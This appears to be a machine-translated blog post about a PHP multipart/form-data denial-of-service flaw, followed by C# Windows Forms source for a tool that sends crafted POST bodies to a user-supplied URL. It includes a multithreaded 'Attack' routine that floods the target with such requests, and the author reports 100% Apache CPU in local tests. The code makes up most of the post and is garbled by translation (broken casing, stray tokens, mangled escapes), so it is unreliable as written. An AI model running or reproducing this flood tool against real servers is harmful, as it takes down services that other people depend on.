PHP multipart/form-data DOS C # test Tool

According to the Cloud network, Baidu Defense Security Laboratory provides the latest loopholes, exist in PHP versions:

PHP parsingmultipart/form-data httpa duplicate copy string causes a DOS when the requested body part requests the header. A remote attacker sends a maliciously constructedmultipart/form-datarequests, causing the server CPU resources to be exhausted, thereby remote DOS servers.

Original link: http://drops.wooyun.org/papers/6077

Roughly because PHP parses the request, it reads the data on a row, then once per row of memory allocations and memory copies, which consumes n^2 time, the original use of Python, now provides C # code:

For the results of local tests, the Apache CPU consumes 100%:

Code:

Using system;using system.collections.generic;using system.collections.specialized;using System.ComponentModel; Using system.data;using system.drawing;using system.io;using system.linq;using system.net;using System.Text;using    System.threading.tasks;using system.windows.forms;using System.threading;namespace WindowsFormsApplication1{        Public partial class Form1:form {public Form1 () {InitializeComponent (); private void Button1_Click (object sender, EventArgs e) {string s = Httppostdata ().            ToString ();            s = "Response time:" + S;        MessageBox.Show (s);            } private Double Httppostdata () {string url=this.textbox1.text; int timeOut = 10000, lcount = Int.            Parse (TextBox2.Text);            String responsecontent;            String filekeyname = "File";                        String FilePath = "58.jpg";            var memstream = new MemoryStream (); var webRequest = (HTTPWebrequest) webrequest.create (URL);            The boundary character var boundary = "---------------" + DateTime.Now.Ticks.ToString ("x");                       Boundary character var beginboundary = Encoding.ASCII.GetBytes ("--" + boundary + "\ r \ n");            The last terminator var endboundary = Encoding.ASCII.GetBytes ("--" + Boundary + "--\r\n");            Set Property Webrequest.method = "POST";            Webrequest.timeout = Timeout; Webrequest.contenttype = "Multipart/form-data;            boundary= "+ boundary; Write file const string filepartheader = "Content-disposition:form-data; Name=\ "{0}\";            Filename=\ "S"; var header = string.            Format (Filepartheader, filekeyname);            var headerbytes = Encoding.UTF8.GetBytes (header);            Memstream.write (beginboundary, 0, beginboundary.length); Memstream.write (headerbytes, 0, Headerbytes.            Length);            var buffer = new Byte[2]; Buffer = Encoding.UTF8.GetByTES ("a\n"); int bytesread=2;            =0 for (int i = 0; i < lcount;i++) memstream.write (buffer, 0, bytesread);            var bb = "\" \ncontent-type:application/octet-stream\r\n\r\ndatadata\r\n ";            BB + = boundary;            BB + = "--";            var BODY = new byte[1024];                        Body=encoding.utf8.getbytes (BB);            Memstream.write (body, 0, Encoding.UTF8.GetByteCount (BB));            Writes the last end of the bounding character Memstream.write (endboundary, 0, endboundary.length);            Webrequest.contentlength = Memstream.length;            var requeststream = Webrequest.getrequeststream ();            memstream.position = 0;            var tempbuffer = new Byte[memstream.length];            Memstream.read (tempbuffer, 0, tempbuffer.length);            Memstream.close ();            requestStream.Write (tempbuffer, 0, tempbuffer.length);            Requeststream.close ();            DateTime d = DateTime.Now; var HttpwebrespoNSE = (HttpWebResponse) webrequest.getresponse ();                                                            Using var httpstreamreader = new StreamReader (Httpwebresponse.getresponsestream (), Encoding.GetEncoding ("Utf-8"))) {responsecontent = Httpstreamreader.readto            End ();            } httpwebresponse.close ();                        Webrequest.abort (); Return (datetime.now-d).        TotalSeconds;            } private void Attack () {string url = this.textBox1.Text; int timeOut = 10000, lcount = Int.            Parse (TextBox2.Text);            String responsecontent;            String filekeyname = "File";            String FilePath = "58.jpg";            var memstream = new MemoryStream ();            var webRequest = (HttpWebRequest) webrequest.create (URL);            The boundary character var boundary = "---------------" + DateTime.Now.Ticks.ToString ("x"); Boundary character var beginboundary = EncOding. Ascii.            GetBytes ("--" + boundary + "\ r \ n");            The last terminator var endboundary = Encoding.ASCII.GetBytes ("--" + Boundary + "--\r\n");            Set Property Webrequest.method = "POST";            Webrequest.timeout = Timeout; Webrequest.contenttype = "Multipart/form-data;            boundary= "+ boundary; Write file const string filepartheader = "Content-disposition:form-data; Name=\ "{0}\";            Filename=\ "S"; var header = string.            Format (Filepartheader, filekeyname);            var headerbytes = Encoding.UTF8.GetBytes (header);            Memstream.write (beginboundary, 0, beginboundary.length); Memstream.write (headerbytes, 0, Headerbytes.            Length);            var buffer = new Byte[2];            Buffer = Encoding.UTF8.GetBytes ("a\n"); int bytesread = 2;            =0 for (int i = 0; i < lcount; i++) memstream.write (buffer, 0, bytesread); var bb = "\" \ncontent-type:applicaTion/octet-stream\r\n\r\ndatadata\r\n ";            BB + = boundary;            BB + = "--";            var BODY = new byte[1024];            BODY = Encoding.UTF8.GetBytes (BB);            Memstream.write (body, 0, Encoding.UTF8.GetByteCount (BB));            Writes the last end of the bounding character Memstream.write (endboundary, 0, endboundary.length);            Webrequest.contentlength = Memstream.length;            var requeststream = Webrequest.getrequeststream ();            memstream.position = 0;            var tempbuffer = new Byte[memstream.length];            Memstream.read (tempbuffer, 0, tempbuffer.length);            Memstream.close ();            requestStream.Write (tempbuffer, 0, tempbuffer.length);            Requeststream.close ();            DateTime d = DateTime.Now;            var HttpWebResponse = (HttpWebResponse) webrequest.getresponse ();                                                            Using var httpstreamreader = new StreamReader (Httpwebresponse.getresponsestream (),Encoding.GetEncoding ("Utf-8")) {responsecontent = Httpstreamreader.readtoend ();            } httpwebresponse.close ();        Webrequest.abort (); The private void button2_click (object sender, EventArgs e) {int n = Int.             Parse (TextBox3.Text); for (int i=0;i<n;i++) {new Thread (Attack).            Start (); }        }    }}

PHP multipart/form-data DOS C # test Tool